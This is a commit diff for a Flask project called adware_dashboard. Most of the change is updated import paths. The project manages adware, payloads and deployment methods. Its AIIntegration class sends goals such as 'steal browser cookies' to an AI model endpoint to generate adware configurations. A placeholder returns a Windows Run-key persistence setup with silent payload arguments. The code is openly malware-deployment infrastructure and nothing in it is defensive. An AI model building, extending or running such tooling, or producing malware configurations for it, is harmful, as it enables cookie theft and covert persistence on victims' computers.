Refactor dashboard and remove redundant files

src/adware_dashboard/api/routes.py

@@ -1,12 +1,12 @@
 import logging
 from flask import Flask, request, jsonify
-from adware_dashboard.core.adware_manager import AdwareManager
-from adware_dashboard.core.payload_manager import PayloadManager
-from adware_dashboard.core.deployment_manager import DeploymentManager
-from adware_dashboard.core.ai_integration import AIIntegration
-from adware_dashboard.models import Adware, Payload, DeploymentMethod
-from adware_dashboard.api.serializers import AdwareSerializer, PayloadSerializer, DeploymentMethodSerializer
-from adware_dashboard.api.utils import validate_input
+from src.adware_manager import AdwareManager
+from src.adware_dashboard.core.payload_manager import PayloadManager
+from src.adware_dashboard.core.deployment_manager import DeploymentManager
+from src.adware_dashboard.core.ai_integration import AIIntegration
+from src.adware_dashboard.models import Adware, Payload, DeploymentMethod
+from src.adware_dashboard.api.serializers import AdwareSerializer, PayloadSerializer, DeploymentMethodSerializer
+from src.adware_dashboard.api.utils import validate_input
 
 def create_api_app(logger: logging.Logger, adware_manager: AdwareManager, payload_manager: PayloadManager, deployment_manager: DeploymentManager, ai_integration: AIIntegration) -> Flask:
     """

src/adware_dashboard/api/utils.py

@@ -1,34 +1,34 @@
-from functools import wraps
-from flask import request, jsonify
-from typing import Callable, Type
-from marshmallow import Schema, ValidationError
-
-def validate_input(serializer: Type[Schema], partial: bool = False) -> Callable:
-    """
-    Validates the input data using a Marshmallow serializer.
-
-    Args:
-        serializer (Type[Schema]): The Marshmallow serializer to use.
-        partial (bool, optional): Whether to allow partial updates. Defaults to False.
-
-    Returns:
-        Callable: The decorated function.
-    """
-    def decorator(func):
-        @wraps(func)
-        def wrapper(*args, **kwargs):
-            try:
-                data = request.get_json()
-                if not data:
-                    return jsonify({'error': 'No input data provided'}), 400
-                deserialized_data = serializer.deserialize(data)
-                if partial:
-                   deserialized_data = {k: v for k, v in deserialized_data.items() if v is not None}
-                request.deserialized_data = deserialized_data
-                return func(*args, **kwargs)
-            except ValidationError as e:
-                return jsonify({'error': str(e)}), 400
-            except Exception as e:
-                return jsonify({'error': 'Invalid input data'}), 400
-        return wrapper
-    return decorator
+from functools import wraps
+from flask import request, jsonify
+from typing import Callable, Type
+from marshmallow import Schema, ValidationError
+
+def validate_input(serializer: Type[Schema], partial: bool = False) -> Callable:
+    """
+    Validates the input data using a Marshmallow serializer.
+
+    Args:
+        serializer (Type[Schema]): The Marshmallow serializer to use.
+        partial (bool, optional): Whether to allow partial updates. Defaults to False.
+
+    Returns:
+        Callable: The decorated function.
+    """
+    def decorator(func):
+        @wraps(func)
+        def wrapper(*args, **kwargs):
+            try:
+                data = request.get_json()
+                if not data:
+                    return jsonify({'error': 'No input data provided'}), 400
+                deserialized_data = serializer.deserialize(data)
+                if partial:
+                   deserialized_data = {k: v for k, v in deserialized_data.items() if v is not None}
+                request.deserialized_data = deserialized_data
+                return func(*args, **kwargs)
+            except ValidationError as e:
+                return jsonify({'error': str(e)}), 400
+            except Exception as e:
+                return jsonify({'error': 'Invalid input data'}), 400
+        return wrapper
+    return decorator

src/adware_dashboard/core/ai_integration.py

@@ -1,73 +1,73 @@
-import logging
-from typing import Dict, Any
-import json
-import requests
-
-class AIIntegration:
-    def __init__(self, logger: logging.Logger, ai_model_endpoint: str = None):
-        """
-        Initializes the AIIntegration with a logger and an optional AI model endpoint.
-
-        Args:
-            logger (logging.Logger): The logger instance to use.
-            ai_model_endpoint (str, optional): The endpoint of the AI model. Defaults to None.
-        """
-        self.logger = logger
-        self.ai_model_endpoint = ai_model_endpoint
-
-    def generate_adware_config(self, goal: str, constraints: Dict[str, Any] = None) -> Dict[str, Any]:
-        """
-        Generates an adware configuration using the AI model.
-
-        Args:
-            goal (str): The high-level goal for the adware (e.g., "steal browser cookies").
-            constraints (Dict[str, Any], optional): Additional constraints for the AI model. Defaults to None.
-
-        Returns:
-            Dict[str, Any]: The generated adware configuration.
-        """
-        if not self.ai_model_endpoint:
-            self.logger.error("AI model endpoint is not configured.")
-            raise ValueError("AI model endpoint is not configured.")
-
-        try:
-            payload = {
-                "goal": goal,
-                "constraints": constraints if constraints else {}
-            }
-            response = requests.post(self.ai_model_endpoint, json=payload)
-            response.raise_for_status()
-            config = response.json()
-            self.logger.info(f"AI generated adware config: {config}")
-            return config
-        except requests.RequestException as e:
-            self.logger.error(f"Error communicating with AI model: {str(e)}")
-            raise ValueError(f"Error communicating with AI model: {str(e)}")
-        except json.JSONDecodeError as e:
-            self.logger.error(f"Error decoding AI model response: {str(e)}")
-            raise ValueError(f"Error decoding AI model response: {str(e)}")
-
-    def _call_local_model(self, goal: str, constraints: Dict[str, Any] = None) -> Dict[str, Any]:
-        """
-        Placeholder for calling a local AI model.
-
-        Args:
-            goal (str): The high-level goal for the adware.
-            constraints (Dict[str, Any], optional): Additional constraints for the AI model. Defaults to None.
-
-        Returns:
-            Dict[str, Any]: The generated adware configuration.
-        """
-        # This is a placeholder. Replace with actual logic to call a local AI model.
-        # For example, you might load a pre-trained model and use it to generate the config.
-        self.logger.warning("Using placeholder for local AI model. Implement actual logic here.")
-        return {
-            "target_os": "windows",
-            "persistence_method": "registry",
-            "payload_id": 1,
-            "deployment_method_id": 1,
-            "config": {
-                "registry_key": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
-                "payload_args": ["--silent"]
-            }
-        }
+import logging
+from typing import Dict, Any
+import json
+import requests
+
+class AIIntegration:
+    def __init__(self, logger: logging.Logger, ai_model_endpoint: str = None):
+        """
+        Initializes the AIIntegration with a logger and an optional AI model endpoint.
+
+        Args:
+            logger (logging.Logger): The logger instance to use.
+            ai_model_endpoint (str, optional): The endpoint of the AI model. Defaults to None.
+        """
+        self.logger = logger
+        self.ai_model_endpoint = ai_model_endpoint
+
+    def generate_adware_config(self, goal: str, constraints: Dict[str, Any] = None) -> Dict[str, Any]:
+        """
+        Generates an adware configuration using the AI model.
+
+        Args:
+            goal (str): The high-level goal for the adware (e.g., "steal browser cookies").
+            constraints (Dict[str, Any], optional): Additional constraints for the AI model. Defaults to None.
+
+        Returns:
+            Dict[str, Any]: The generated adware configuration.
+        """
+        if not self.ai_model_endpoint:
+            self.logger.error("AI model endpoint is not configured.")
+            raise ValueError("AI model endpoint is not configured.")
+
+        try:
+            payload = {
+                "goal": goal,
+                "constraints": constraints if constraints else {}
+            }
+            response = requests.post(self.ai_model_endpoint, json=payload)
+            response.raise_for_status()
+            config = response.json()
+            self.logger.info(f"AI generated adware config: {config}")
+            return config
+        except requests.RequestException as e:
+            self.logger.error(f"Error communicating with AI model: {str(e)}")
+            raise ValueError(f"Error communicating with AI model: {str(e)}")
+        except json.JSONDecodeError as e:
+            self.logger.error(f"Error decoding AI model response: {str(e)}")
+            raise ValueError(f"Error decoding AI model response: {str(e)}")
+
+    def _call_local_model(self, goal: str, constraints: Dict[str, Any] = None) -> Dict[str, Any]:
+        """
+        Placeholder for calling a local AI model.
+
+        Args:
+            goal (str): The high-level goal for the adware.
+            constraints (Dict[str, Any], optional): Additional constraints for the AI model. Defaults to None.
+
+        Returns:
+            Dict[str, Any]: The generated adware configuration.
+        """
+        # This is a placeholder. Replace with actual logic to call a local AI model.
+        # For example, you might load a pre-trained model and use it to generate the config.
+        self.logger.warning("Using placeholder for local AI model. Implement actual logic here.")
+        return {
+            "target_os": "windows",
+            "persistence_method": "registry",
+            "payload_id": 1,
+            "deployment_method_id": 1,
+            "config": {
+                "registry_key": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
+                "payload_args": ["--silent"]
+            }
+        }

src/adware_dashboard/core/deployment_manager.py

@@ -1,6 +1,6 @@
 import logging
 from typing import List, Dict, Any
-from adware_dashboard.models import DeploymentMethod, Payload
+from src.adware_manager import DeploymentMethod, Payload
 
 class DeploymentManager:
     def __init__(self, logger: logging.Logger):